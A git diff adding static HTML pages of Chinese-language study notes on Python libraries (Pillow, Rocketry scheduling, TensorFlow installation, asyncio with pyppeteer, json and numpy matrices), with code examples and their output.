+ 跳至主要內容 目录 Pillow Image convert(mode) new(mode, size, color=0) (function) new: (mode: str, size: _Size, color: str | Tuple[int, ...] | None = ...) -> Image
+Creates a new image with the given mode and size.
+
+:param mode: The mode to use for the new image.
+:param size: A 2-tuple, containing (width, height) in pixels.
+:param color: What color to use for the image. Default is black.
+ If given, this should be a single integer or floating point value for single-band modes, and a tuple for multi-band modes (one value per band). When creating RGB images, you can also use color strings as supported by the ImageColor module. If the color is None, the image is not initialised.
+:returns: An ~PIL.Image.Image object.
+
ImageDraw 支持 2D 图像, 且与 Image 对象的区别在于 ImageDraw 对象支持绘制 上一页
Pandas
下一页
TensorFlow
+
+
+
diff --git a/Language/Python/libs/Pillow/index.html b/Language/Python/libs/Pillow/index.html
new file mode 100644
index 0000000000..e61bb62b9a
--- /dev/null
+++ b/Language/Python/libs/Pillow/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Pillow | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Python/libs/Rocketry/index.html b/Language/Python/libs/Rocketry/index.html
new file mode 100644
index 0000000000..5cb42b7948
--- /dev/null
+++ b/Language/Python/libs/Rocketry/index.html
@@ -0,0 +1,179 @@
+
+
+
+
+
+
+
+ Rocketry | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 Rocketry Miksus/rocketry: Modern scheduling library for Python (github.com)open in new window
Why Rocketry? — Rocketryopen in new window
Rocketry is a modern statement-based scheduling framework for Python. It is simple, clean and extensive. It is suitable for small and big projects.
Quick Start from rocketry import Rocketry
+from rocketry. conds import secondly
+
+app = Rocketry( )
+
+@app. task ( secondly)
+def do_daily ( ) :
+ print ( 'Doing daily task' )
+
+if __name__ == '__main__' :
+ app. run( )
+
+
除了这种基本的用法, 还可以给任务的执行加上其他自定义条件, 比如:
from rocketry import Rocketry
+from rocketry. conds import daily, time_of_week
+from pathlib import Path
+
+app = Rocketry( )
+
+@app. cond ( )
+def file_exists ( file ) :
+ return Path( file ) . exists( )
+
+@app. task ( daily. after( "08:00" ) & file_exists( "start.py" ) )
+def do_work ( ) :
+ print ( 'Doing work' )
+
+app. run( )
+
官网提供的更多示例:
from rocketry. conds import daily, after_success
+from rocketry. args import Return
+
+@app. task ( daily. after( "07:00" ) )
+def do_first ( ) :
+ . . .
+ return 'Hello World'
+
+@app. task ( after_success( do_first) )
+def do_second ( arg= Return( 'do_first' ) ) :
+
+ . . .
+ return 'Hello Python'
+
from rocketry. conds import daily
+
+@app. task ( daily, execution= "main" )
+def do_unparallel ( ) :
+ . . .
+
+@app. task ( daily, execution= "async" )
+async def do_async ( ) :
+ . . .
+
+@app. task ( daily, execution= "thread" )
+def do_on_separate_thread ( ) :
+ . . .
+
+@app. task ( daily, execution= "process" )
+def do_on_separate_process ( ) :
+ . . .
+
@app. task ( 'every 10 seconds' )
+def do_constantly ( ) :
+ . . .
+
+@app. task ( 'every 1 minute' )
+def do_minutely ( ) :
+ . . .
+
+@app. task ( 'every 1 hour' )
+def do_hourly ( ) :
+ . . .
+
+@app. task ( 'every 1 day' )
+def do_daily ( ) :
+ . . .
+
+@app. task ( 'every 2 days 2 hours 20 seconds' )
+def do_custom ( ) :
+ . . .
+
@app. task ( 'minutely' )
+def do_minutely ( ) :
+ . . .
+
+@app. task ( 'hourly' )
+def do_hourly ( ) :
+ . . .
+
+@app. task ( 'daily' )
+def do_daily ( ) :
+ . . .
+
+@app. task ( 'weekly' )
+def do_weekly ( ) :
+ . . .
+
+@app. task ( 'monthly' )
+def do_monthly ( ) :
+ . . .
+
@app. task ( "minutely before 45" )
+def do_minutely ( ) :
+ . . .
+
+@app. task ( "hourly after 45:00" )
+def do_hourly ( ) :
+ . . .
+
+@app. task ( "daily between 08:00 and 14:00" )
+def do_daily ( ) :
+ . . .
+
+@app. task ( "weekly on Monday" )
+def do_weekly ( ) :
+ . . .
+
+@app. task ( "monthly starting 3rd" )
+def do_monthly ( ) :
+ . . .
+
@app. task ( 'time of day between 10:00 and 18:00' )
+def do_constantly_during_day ( ) :
+ . . .
+
+@app. task ( 'time of week between Saturday and Sunday' )
+def do_constantly_during_weekend ( ) :
+ . . .
+
app = Rocketry( execution= "async" )
+
+@app. task ( "daily" )
+def do_main ( ) :
+ . . .
+
PS: 因为描述都比较明确, 能看出大致用法, 所以贴上来了, 等到后面再结合具体使用场景进行记录
条件表达式 API Cron Cron Scheduling — Rocketryopen in new window
from rocketry. conds import cron
+
+@app. task ( cron( '* * * * *' ) )
+def do_minutely ( ) :
+ . . .
+
+@app. task ( cron( '*/2 12-18 * Oct Fri' ) )
+def do_complex ( ) :
+ "Run at every 2nd minute past every hour from 12 through 18 on Friday in October."
+ . . .
+
报错处理 pydantic.errors.PydanticUserError: const is removed, use Literal instead
Pydantic v2 support · Issue #210 · Miksus/rocketry (github.com)open in new window
from rocketry import Rocketry
+
报错 pydantic.errors.PydanticUserError: const is removed, use Literal instead
可能是因为当前 Rocketry 不兼容 Pydantic2, 可以指定 Pydantic 版本为 1.10.10
以解决此问题
pip install pydantic == 1.10 .10
+
上一页
turtle
+
+
+
diff --git a/Language/Python/libs/TensorFlow/TensorFlow.html b/Language/Python/libs/TensorFlow/TensorFlow.html
new file mode 100644
index 0000000000..b8ef7badcc
--- /dev/null
+++ b/Language/Python/libs/TensorFlow/TensorFlow.html
@@ -0,0 +1,55 @@
+
+
+
+
+
+
+
+ TensorFlow | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 TensorFlow 安装 TensorFlow
安装的时候需要装dll
,因此不可以通过直接拷贝别人装好的的site-packages/TensorFlow...
来安装相应环境命令行执行pip install TensorFlow --user --no-warn-script-location
+
--user
: pip 默认安装 package 到 system directory, 通过 --user 可以将 package 安装到 /home 路径下--no-warn-script-location
: 忽略脚本警告个人使用清华的源安装 TensorFlow
时经常超时,可以使用阿里的源 pip install TensorFlow --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
TensorFlow
与 keras
以及 python
版本要相匹配 表格参考open in new window 最新版本的 TensorFlow2.2.0
适配 keras2.3.1
+ python3.7.
找网上的往期项目往往依赖比较老,例如:from keras. engine. saving
+
相应版本 keras2.2.4
对应 python3.6.
, tensorflow 1.13.0
安装时可以pip install TensorFlow==1.13.1 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
pip install keras==2.2.4 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
这里注意阿里云的源中 1.13.0 后都有rc 因此直接 ==1.13.0
会报错找不到相应版本,因此这里安装1.13.1
安装报错记录 ModuleNotFoundError: No module named 'numpy.core._multiarray_umath'
适应 numpy
版本 1.14.6 ~ 1.17.2
满足 tensorflow1.13.1
要求的 numpy >= 1.13.3
numpy==1.15.0
测试成功 ImportError: cannot import name '_ccallback_c'
接收的某个项目的依赖安装记录 pip install TensorFlow==1.13.1 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install keras==2.2.4 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install opencv-python -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install matplotlib -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install Pillow -i https://mirrors.aliyun.com/pypi/simple/
+
+
上一页
Pillow
下一页
turtle
+
+
+
diff --git a/Language/Python/libs/TensorFlow/index.html b/Language/Python/libs/TensorFlow/index.html
new file mode 100644
index 0000000000..e306436483
--- /dev/null
+++ b/Language/Python/libs/TensorFlow/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Tensor Flow | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Python/libs/asyncio/index.html b/Language/Python/libs/asyncio/index.html
new file mode 100644
index 0000000000..dc923a257f
--- /dev/null
+++ b/Language/Python/libs/asyncio/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Asyncio | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git "a/Language/Python/libs/asyncio/\345\274\202\346\255\245\347\274\226\347\250\213.html" "b/Language/Python/libs/asyncio/\345\274\202\346\255\245\347\274\226\347\250\213.html"
new file mode 100644
index 0000000000..68395e5b71
--- /dev/null
+++ "b/Language/Python/libs/asyncio/\345\274\202\346\255\245\347\274\226\347\250\213.html"
@@ -0,0 +1,103 @@
+
+
+
+
+
+
+
+ Python 异步编程 | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 Python 异步编程 原文链接(几乎完全照搬了内容)-Python 异步编程入门 - 阮一峰的网络日志 (ruanyifeng.com)open in new window
历史上,Python 并不支持专门的异步编程语法,因为不需要。
有了多线程(threading
)和多进程(multiprocessing
)open in new window ,就没必要一定支持异步了。如果一个线程(或进程)阻塞,新建其他线程(或进程)就可以了,程序不会卡死。
但是,多线程有 "线程竞争" 的问题,处理起来很复杂,还涉及加锁。对于简单的异步任务来说(比如与网页互动),写起来很麻烦。
Python 3.4 引入了 asyncio
模块,增加了异步编程,跟 JavaScript 的async/await
极为类似,大大方便了异步任务的处理。它受到了开发者的欢迎,成为从 Python 2 升级到 Python 3 的主要理由之一。
asyncio 的设计 asyncio
模块最大特点就是,只存在一个线程,跟 JavaScript 一样。
由于只有一个线程,就不可能多个任务同时运行。asyncio 是"多任务合作"模式(cooperative multitasking),允许异步任务交出执行权给其他任务,等到其他任务完成,再收回执行权继续往下执行,这跟 JavaScript 也是一样的。
由于代码的执行权在多个任务之间交换,所以看上去好像多个任务同时运行,其实底层只有一个线程,多个任务分享运行时间。
表面上,这是一个不合理的设计,明明有多线程多进程的能力,为什么放着多余的 CPU 核心不用,而只用一个线程呢?但是就像前面说的,单线程简化了很多问题,使得代码逻辑变得简单,写法符合直觉。
asyncio 模块在单线程上启动一个事件循环(event loop),时刻监听新进入循环的事件,加以处理,并不断重复这个过程,直到异步任务结束。事件循环的内部机制,可以参考 JavaScript 的模型open in new window ,两者是一样的。
asyncio API 下面介绍 asyncio
模块最主要的几个API。注意,必须使用 Python 3.7 或更高版本,早期的语法已经变了。
第一步,import
加载 asyncio
模块。
第二步,函数前面加上 async
关键字,就变成了 async 函数。这种函数最大特点是执行可以暂停,交出执行权。
第三步,在 async 函数内部的异步任务前面,加上await
命令。
上面代码中,asyncio.sleep(1)
方法可以生成一个异步任务,休眠1秒钟然后结束。
执行引擎遇到await
命令,就会在异步任务开始执行之后,暂停当前 async 函数的执行,把执行权交给其他任务。等到异步任务结束,再把执行权交回 async 函数,继续往下执行。
第四步,async.run()
方法加载 async 函数,启动事件循环。
上面代码中,asyncio.run()
在事件循环上监听 async 函数main
的执行。等到 main
执行完了,事件循环才会终止。
async 函数的示例 下面是 async 函数的例子,新建一个脚本async.py
,代码如下。
+
+
+import asyncio
+
+async def count ( ) :
+ print ( "One" )
+ await asyncio. sleep( 1 )
+ print ( "Two" )
+
+async def main ( ) :
+ await asyncio. gather( count( ) , count( ) , count( ) )
+
+asyncio. run( main( ) )
+
上面脚本中,在 async 函数main
的里面,asyncio.gather()
方法将多个异步任务(三个 count()
)包装成一个新的异步任务,必须等到内部的多个异步任务都执行结束,这个新的异步任务才会结束。
脚本的运行结果如下。
$ python3 async.py
+One
+One
+One
+Two
+Two
+Two
+
上面运行结果的原因是,三个 count()
依次执行,打印完 One
,就休眠1秒钟,把执行权交给下一个 count()
,所以先连续打印出三个 One
。等到1秒钟休眠结束,执行权重新交回第一个 count()
,开始执行 await
命令下一行的语句,所以会接着打印出三个Two
。脚本总的运行时间是1秒。
作为对比,下面是这个例子的同步版本 sync.py
。
+
+
+import time
+
+def count ( ) :
+ print ( "One" )
+ time. sleep( 1 )
+ print ( "Two" )
+
+def main ( ) :
+ for _ in range ( 3 ) :
+ count( )
+
+main( )
+
上面脚本的运行结果如下。
$ python3 sync.py
+One
+Two
+One
+Two
+One
+Two
+
上面运行结果的原因是,三个 count()
都是同步执行,必须等到前一个执行完,才能执行后一个。脚本总的运行时间是3秒。
实例:pyppeteer 模块 最后是一个异步编程的真实例子:操作无头浏览器。异步编程对代码的简化,在这个例子体现得淋漓尽致。
我们需要用到 pyppeteer 模块open in new window ,它是无头浏览器 Puppeteer 的 Python 移植,API 跟 JavaScript 版本基本一致。下面是安装命令。
$ python3 -m pip install pyppeteer
+
然后,写一个网页截图脚本screenshot.py
。
+
+
+import asyncio
+from pyppeteer import launch
+
+async def main ( ) :
+ browser = await launch( )
+ page = await browser. newPage( )
+ await page. goto( 'http://example.com' )
+ await page. screenshot( { 'path' : 'example.png' } )
+ await browser. close( )
+
+asyncio. run( main( ) )
+
上面代码中,启动浏览器(launch
)、打开新 Tab(newPage()
)、访问网址(page.goto()
)、截图(page.screenshot()
)、关闭浏览器(browser.close()
),这一系列操作都是异步任务,使用 await
命令写起来非常自然简单。
执行这个脚本,当前目录下就会生成截图文件 example.png
。
$ python3 screenshot.py
+
果脚本执行时报错 No usable sandbox!
,可以参考这里open in new window 。另外,第一次执行这个脚本,会下载安装 Puppeteer,可能需要等待较长时间,但是此后的执行就会很快。
Pyppeteer 的官网open in new window 还有其他实例,比如向网页注入 JavaScript 代码,大家可以自己试玩。
下一页
json
+
+
+
diff --git a/Language/Python/libs/index.html b/Language/Python/libs/index.html
new file mode 100644
index 0000000000..be86ee5b5d
--- /dev/null
+++ b/Language/Python/libs/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Libs | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Python/libs/json/index.html b/Language/Python/libs/json/index.html
new file mode 100644
index 0000000000..cb43b2c20b
--- /dev/null
+++ b/Language/Python/libs/json/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Json | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Python/libs/json/json.html b/Language/Python/libs/json/json.html
new file mode 100644
index 0000000000..da6daf5210
--- /dev/null
+++ b/Language/Python/libs/json/json.html
@@ -0,0 +1,56 @@
+
+
+
+
+
+
+
+ 目录 | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 目录 json 方法 作用 json.dumps() 将python对象编码成Json字符串 json.loads() 将Json字符串解码成python对象 json.dump() 将python中的对象转化成json储存到文件中 json.load() 将文件中的json的格式转化成python对象提取出来
dumps 上一页
asyncio
下一页
Matplotlib
+
+
+
diff --git a/Language/Python/libs/numpy/index.html b/Language/Python/libs/numpy/index.html
new file mode 100644
index 0000000000..2a161846e9
--- /dev/null
+++ b/Language/Python/libs/numpy/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Numpy | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Python/libs/numpy/numpy.html b/Language/Python/libs/numpy/numpy.html
new file mode 100644
index 0000000000..fab530d9c1
--- /dev/null
+++ b/Language/Python/libs/numpy/numpy.html
@@ -0,0 +1,497 @@
+
+
+
+
+
+
+
+ 目录 | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 目录 numpy Numpy是Python第三方库中最常用的科学计算库, 所谓科学计算往往是指类似Matlab那样的矩阵运算能力。 这其中包括 多维数组对象、 线性代数计算, 以及一个高性能的C/C++语言内部实现。 而 Numpy完全拥有上面的所有特性,而且还有很多方便的快捷函数,是做数据科学必不可少的工具。 线性代数一个最明显的优势就是用矩阵乘法代替循环可以极大地提高运算速度。 numpy基础 在Numpy中,最主要的数据结构就是ndarray, 这个数据结构不仅可以处理一维数组,还可以处理多维数组。 比如下面的数组就是一个二维数组: [ [ 0 1 2 3 4 ]
+ [ 5 6 7 8 9 ]
+ [ 10 11 12 13 14 ] ]
+
通常我们称数组的维度为“秩(rank)”, 可以通过下面的代码创建并查看一个数组的秩:
import numpy as np
+a = np. array( [ ( 1 , 2 ) , ( 3.4 , 5 ) ] )
+print ( a)
+print ( a. ndim)
+
+
+[ [ 1. 2. ]
+[ 3.4 5. ] ]
+2
+
List 不支持科学计算, 用 List 数据生成 Numpy.array 数据就可以支持科学计算了
习惯上我们会将numpy重命名为np并进行使用。 创建二维数组就使用Python中“列表的列表”这种结构, 如果创建三维数组就是使用“列表中的列表中的列表”的结构。 有时为了方便,我们也会使 用一些手段快速创建数组,可参考下面的代码:import numpy as np
+
+a = np. arange( 15 ) . reshape( 3 , 5 )
+b = np. arange( 1 , 30 , 5 )
+c = np. arange( 0 , 1 , 0.2 )
+d = np. linspace( 0 , np. e * 10 , 5 )
+e = np. random. random( ( 3 , 2 ) )
+print ( 'a = ' , a)
+print ( 'b = ' , b)
+print ( 'c = ' , c)
+print ( 'd = ' , d)
+print ( 'e = ' , e)
+
+
+a = [ [ 0 1 2 3 4 ]
+[ 5 6 7 8 9 ]
+[ 10 11 12 13 14 ] ]
+b = [ 1 6 11 16 21 26 ]
+c = [ 0. 0.2 0.4 0.6 0.8 ]
+d = [ 0. 6.79570457 13.59140914 20.38711371 27.18281828 ]
+e = [ [ 0.89648206 0.56055272 ]
+[ 0.65490962 0.13706445 ]
+[ 0.54199453 0.8091704 ] ]
+
使用np.arange()的方式与Python的range()类似, 会生成一个ndarray类型的数组, 只不过ndarray类型的reshape()方法会将原始的一维数组改变为一个二维数组, 比如上面的例子中就将其改变为 3×5的二维数组了。 与Python的range()函数稍有不同的是: np.arange()支持小数的步长, 比如上例中的np.arange(0,1,0.2)就生成了小数步长的数组,而使用Python的range时则会报错。 Numpy还提供 了一个强大的函数np.linspace() 这个函数的功能类似arange(),但是第三个参数不是步长,而是数量。 这个函数可以按照参数中需要生成元素的数量自动选择步长, 另外 Numpy中也提供了与math模块中一样的两个常量, 最后np.random.random()函数提供了直接生成随机元素的多维数组的方法, np.linspace numpy. core. function_base
+@array_function_dispatch ( _linspace_dispatcher)
+def linspace ( start: Union[ ndarray, Iterable, int , float ] ,
+ stop: Union[ ndarray, Iterable, int , float ] ,
+ num: Optional[ int ] = 50 ,
+ endpoint: Optional[ bool ] = True ,
+ retstep: Optional[ bool ] = False ,
+ dtype: Optional[ object ] = None ,
+ axis: Optional[ int ] = 0 ) - > Any
+
Return evenly spaced numbers over a specified interval. evenly(均匀地;平均地) spaced(隔开的) specified(明确规定;具体说明) interval(间隔) Returns num evenly spaced samples, calculated over the interval [start, stop]. The endpoint of the interval can optionally be excluded. endpoint(端点,终点) excluded(排除;拒绝;把…除外;赶出) See Also arange Similar to linspace, but uses a step size (instead of the number of samples). geomspace Similar to linspace, but with numbers spaced evenly on a log scale (a geometric progression). scale(秤;比例尺;范围;刻度) geometric(几何(学)的;(似)几何图形的) logspace Similar to geomspace, but with the end points specified as logarithms. specified(明确规定;具体说明;详述;详列) logarithms(【数学】对数) Examples >> > np. linspace( 2.0 , 3.0 , num= 5 )
+array( [ 2. , 2.25 , 2.5 , 2.75 , 3. ] )
+>> > np. linspace( 2.0 , 3.0 , num= 5 , endpoint= False )
+array( [ 2. , 2.2 , 2.4 , 2.6 , 2.8 ] )
+>> > np. linspace( 2.0 , 3.0 , num= 5 , retstep= True )
+( array( [ 2. , 2.25 , 2.5 , 2.75 , 3. ] ) , 0.25 )
+
Graphical illustration(图解): >> > import matplotlib. pyplot as plt
+>> > N = 8
+>> > y = np. zeros( N)
+>> > x1 = np. linspace( 0 , 10 , N, endpoint= True )
+>> > x2 = np. linspace( 0 , 10 , N, endpoint= False )
+>> > plt. plot( x1, y, 'o' )
+[ < matplotlib. lines. Line2D object at 0x. . . > ]
+>> > plt. plot( x2, y + 0.5 , 'o' )
+[ < matplotlib. lines. Line2D object at 0x. . . > ]
+>> > plt. ylim( [ - 0.5 , 1 ] )
+( - 0.5 , 1 )
+>> > plt. show( )
+
+
+import numpy as np
+import matplotlib. pyplot as plt
+
+N = 8
+y = np. zeros( N)
+x1 = np. linspace( 0 , 10 , N, endpoint= True )
+x2 = np. linspace( 0 , 10 , N, endpoint= False )
+plt. plot( x1, y, 'o' )
+plt. plot( x2, y + 0.5 , 'o' )
+plt. ylim( [ - 0.5 , 1 ] )
+plt. show( )
+
+
参数 start The starting value of the sequence. stop The end value of the sequence, unless endpoint
is set to False. In that case, the sequence consists of all but the last of num + 1
evenly spaced samples, so that stop
is excluded. Note that the step size changes when endpoint
is False. num Number of samples to generate. Default is 50. Must be non-negative. samples(样品;标本;实例 ) non-negative(非负数) endpoint If True, stop
is the last sample. Otherwise, it is not included. Default is True. retstep If True, return (samples
, step
), where step
is the spacing between samples. dtype The type of the output array. If dtype
is not given, infer the data type from the other input arguments. .. versionadded:: 1.9.0 axis The axis in the result to store the samples. Relevant only if start or stop are array-like. By default (0), the samples will be along a new axis inserted at the beginning. Use -1
to get an axis at the end. .. versionadded:: 1.16.0 relevant(紧密相关的;切题的;有价值的;有意义的 ) axis(坐标轴;轴(旋转物体假想的中心线);对称中心线(将物体平分为二)) 返回: There are num
equally spaced samples in the closed interval [start, stop]
or the half-open interval [start, stop)
(depending on whether endpoint
is True or False). 查看数组各项属性 在了解了如何使用Numpy创建数组之后,再来看看如何查看数组的各项属性,参考下面的代码import numpy as np
+
+a = np.arange(15).reshape(3, 5)
+print('a ', '=', a)
+print('a.ndim ', '=', a.ndim)
+print('a.shape ', '=', a.shape)
+print('a.dtype.name ', '=', a.dtype.name)
+print('a.itemsize ', '=', a.itemsize)
+print('a.size ', '=', a.size)
+print('type(a) ', '=', type(a))
+
+# 运行结果
+a = [[ 0 1 2 3 4]
+ [ 5 6 7 8 9]
+ [10 11 12 13 14]]
+a.ndim = 2
+a.shape = (3, 5)
+a.dtype.name = int32
+a.itemsize = 4
+a.size = 15
+type(a) = <class 'numpy.ndarray'>
+
ndim()函数会返回数组的秩数, shape()函数会返回数组的形状。 dtype.name属性是数组中数据的类型, itemsize是数据类型占用的内存空间, size则是数组中总共有多少个元素。 numpy的对象在打印时会自动格式化,二维数组则会以矩阵的方式打印出来。 不仅如此,当数组非常大以至于不能够完整地显示出来的时候,numpy还会缩略打印结果,可参考 如下代码:import numpy as np
+
+print(np.arange(10000).reshape(100, 100))
+
+# 运行结果
+[[ 0 1 2 ... 97 98 99]
+[ 100 101 102 ... 197 198 199]
+[ 200 201 202 ... 297 298 299]
+...
+[9700 9701 9702 ... 9797 9798 9799]
+[9800 9801 9802 ... 9897 9898 9899]
+[9900 9901 9902 ... 9997 9998 9999]]
+
创建特定数组 Numpy还可以快速地创建一些特定的数组,参考下面的代码:import numpy as np
+
+a = np.zeros((3, 4))
+b = np.ones((2, 3, 4), dtype=np.int64)
+c = np.empty((4, 5))
+print('zeros\n', a)
+print('ones \n', b)
+print('empty\n', c)
+
+# 运行结果
+zeros
+[[0. 0. 0. 0.]
+ [0. 0. 0. 0.]
+ [0. 0. 0. 0.]]
+ones
+[[[1 1 1 1]
+ [1 1 1 1]
+ [1 1 1 1]]
+
+ [[1 1 1 1]
+ [1 1 1 1]
+ [1 1 1 1]]]
+empty
+[[3.80261646e-311 4.35210540e-306 1.78716863e-306 1.78022885e-306
+ 1.16691863e-301]
+[4.20602082e-297 3.25847851e-292 7.06199777e-292 1.21172656e-305
+ 1.21200470e-305]
+[3.82460765e-297 1.64290200e-287 1.64325271e-287 3.38208191e-292
+ 7.93893540e-301]
+[1.64290201e-287 1.64357338e-287 5.16064744e-297 3.48020045e-308
+ 2.50643828e-154]]
+
使用zeros()函数可以创建一个对应维度的全零矩阵[1], ones()则是创建全1矩阵, empty()函数会自动创建一个由随机的小值组成的矩阵 矩阵(matrix) NumPy 中包含了一个矩阵库 numpy.matlib 该模块中的函数返回的是一个矩阵,而不是 ndarray 对象。 一个 m × n m × n m × n 的矩阵是一个由 m m m 行(row) n n n 列(column)元素排列成的矩形阵列。 转置矩阵 NumPy 中除了可以使用 numpy.transpose 函数来对换数组的维度,还可以使用 T 属性。。 例如有个 m 行 n 列的矩阵,使用 t() 函数就能转换为 n 行 m 列的矩阵。 import numpy as np
+
+a = np. arange( 12 ) . reshape( 3 , 4 )
+print ( '原数组:\n{0}\n\n转置数组:\n{1}' . format ( a, a. T) )
+
+
+原数组:
+[ [ 0 1 2 3 ]
+ [ 4 5 6 7 ]
+ [ 8 9 10 11 ] ]
+
+转置数组:
+[ [ 0 4 8 ]
+ [ 1 5 9 ]
+ [ 2 6 10 ]
+ [ 3 7 11 ] ]
+
+
生成矩阵 Numpy生成矩阵常用方法 matrix()函数 mat()函数 bmat()函数 matrix() import numpy as np
+
+a = np. matrix( [ ( 1 , 2 , 4 ) , ( 2 , 2 , 4 ) , ( 3 , 4 , 5 ) ] )
+b = np. matrix( [ [ 4 , 5 ] , [ 7 , 8 ] ] )
+c = np. matrix( range ( 6 ) )
+d = np. matrix( '1, 2, 3; 4, 5, 6; 7, 8, 9' )
+print ( a, b, c, d, sep= '\n\n' )
+
+
+[ [ 1 2 4 ]
+ [ 2 2 4 ]
+ [ 3 4 5 ] ]
+
+[ [ 4 5 ]
+ [ 7 8 ] ]
+
+[ [ 0 1 2 3 4 5 ] ]
+
+[ [ 1 2 3 ]
+ [ 4 5 6 ]
+ [ 7 8 9 ] ]
+
+
mat() import numpy as np
+
+a = np. mat( [ ( 1 , 2 , 4 ) , ( 2 , 2 , 4 ) , ( 3 , 4 , 5 ) ] )
+b = np. mat( [ [ 4 , 5 ] , [ 7 , 8 ] ] )
+c = np. mat( range ( 6 ) )
+d = np. mat( '1, 2, 3; 4, 5, 6; 7, 8, 9' )
+print ( a, b, c, d, sep= '\n\n' )
+
+
+[ [ 1 2 4 ]
+ [ 2 2 4 ]
+ [ 3 4 5 ] ]
+
+[ [ 4 5 ]
+ [ 7 8 ] ]
+
+[ [ 0 1 2 3 4 5 ] ]
+
+[ [ 1 2 3 ]
+ [ 4 5 6 ]
+ [ 7 8 9 ] ]
+
+进程已结束, 退出代码0
+
Unlike matrix, asmatrix does not make a copy if the input is already a matrix or an ndarray. Equivalent to matrix(data, copy=False). bmat() import numpy as np
+
+mat1 = np. eye( 3 )
+mat2 = np. diag( [ 3 ] * 3 )
+mat3 = np. identity( 6 )
+print ( mat1, mat2, mat3, sep= '\n' )
+mat = np. bmat( 'mat1, mat2; mat3' )
+print ( 'mat:' , mat, sep= '\n' )
+
+
+[ [ 1. 0. 0. ]
+ [ 0. 1. 0. ]
+ [ 0. 0. 1. ] ]
+[ [ 3 0 0 ]
+ [ 0 3 0 ]
+ [ 0 0 3 ] ]
+[ [ 1. 0. 0. 0. 0. 0. ]
+ [ 0. 1. 0. 0. 0. 0. ]
+ [ 0. 0. 1. 0. 0. 0. ]
+ [ 0. 0. 0. 1. 0. 0. ]
+ [ 0. 0. 0. 0. 1. 0. ]
+ [ 0. 0. 0. 0. 0. 1. ] ]
+mat:
+[ [ 1. 0. 0. 3. 0. 0. ]
+ [ 0. 1. 0. 0. 3. 0. ]
+ [ 0. 0. 1. 0. 0. 3. ]
+ [ 1. 0. 0. 0. 0. 0. ]
+ [ 0. 1. 0. 0. 0. 0. ]
+ [ 0. 0. 1. 0. 0. 0. ]
+ [ 0. 0. 0. 1. 0. 0. ]
+ [ 0. 0. 0. 0. 1. 0. ]
+ [ 0. 0. 0. 0. 0. 1. ] ]
+
+进程已结束, 退出代码0
+
矩阵特有属性 矩阵 属性 说明 A T A.T 返回自身的转置 A H A.H 返回自身的共轭转置 A I A.I 返回自身的逆矩阵 A A A.A 返回自身数据的2维数组的一个视图
import numpy as np
+
+a = np.mat([(1, 2, 4), (2, 2, 4), (3, 4, 5)])
+print("a.A 自身数据2维数组的一个视图:\n{0}".format(a.A))
+print("a.T 返回自身的转置:\n{0}".format(a.T))
+print("a.I 返回自身的逆矩阵:\n{0}".format(a.I))
+print("a.H 返回自身的共轭转置".format(a.H))
+
+# 运行结果
+a.A 自身数据2维数组的一个视图:
+[[1 2 4]
+ [2 2 4]
+ [3 4 5]]
+a.T 返回自身的转置:
+[[1 2 3]
+ [2 2 4]
+ [4 4 5]]
+a.I 返回自身的逆矩阵:
+[[-1. 1. 0. ]
+ [ 0.33333333 -1.16666667 0.66666667]
+ [ 0.33333333 0.33333333 -0.33333333]]
+a.H 返回自身的共轭转置
+
+
矩阵的运算 在numpy中对矩阵的下列运算可以直接运算 数乘
矩阵相加减
m a t r 1 ± m a t r 2 matr1 \pm matr2 ma t r 1 ± ma t r 2 必须都是 n × m n × m n × m 的矩阵(相同形状的矩阵) 矩阵相乘
m a t r 1 × m a t r 2 matr1 × matr2 ma t r 1 × ma t r 2 import numpy as np
+
+A = np. mat( [ ( 1 , 2 , - 1 ) , ( 3 , 1 , 0 ) , ( - 1 , 0 , - 2 ) ] )
+C = np. mat( [ [ 1 , 2 ] , [ 3 , 4 ] , [ 5 , 6 ] ] )
+D = np. mat( [ [ 11 , 22 , 33 ] , [ 44 , 55 , 66 ] , [ 77 , 88 , 99 ] ] )
+print ( "A×3:\n{0}" . format ( A* 3 ) )
+print ( "A+D:\n{0}\nA*C:\n{1}\n" . format ( A+ D, A* C) )
+
+
+A×3 :
+[ [ 3 6 - 3 ]
+[ 9 3 0 ]
+[ - 3 0 - 6 ] ]
+A+ D:
+[ [ 12 24 32 ]
+[ 47 56 66 ]
+[ 76 88 97 ] ]
+A* C:
+[ [ 2 4 ]
+[ 6 10 ]
+[ - 11 - 14 ] ]
+
+
矩阵相乘实例分析 三种乘法open in new window
某工厂生产三种产品,费用支出见表1,生产量见表2
计算如下数据:
每一季度中每一类成本的数量 设M = M = M = [ 0.10 0.30 0.15 0.30 0.40 0.25 0.10 0.20 0.15 ] \left[ \begin{matrix} 0.10 & 0.30 & 0.15\\ 0.30 & 0.40 & 0.25 \\ 0.10 & 0.20 & 0.15 \end{matrix} \right] 0.10 0.30 0.10 0.30 0.40 0.20 0.15 0.25 0.15
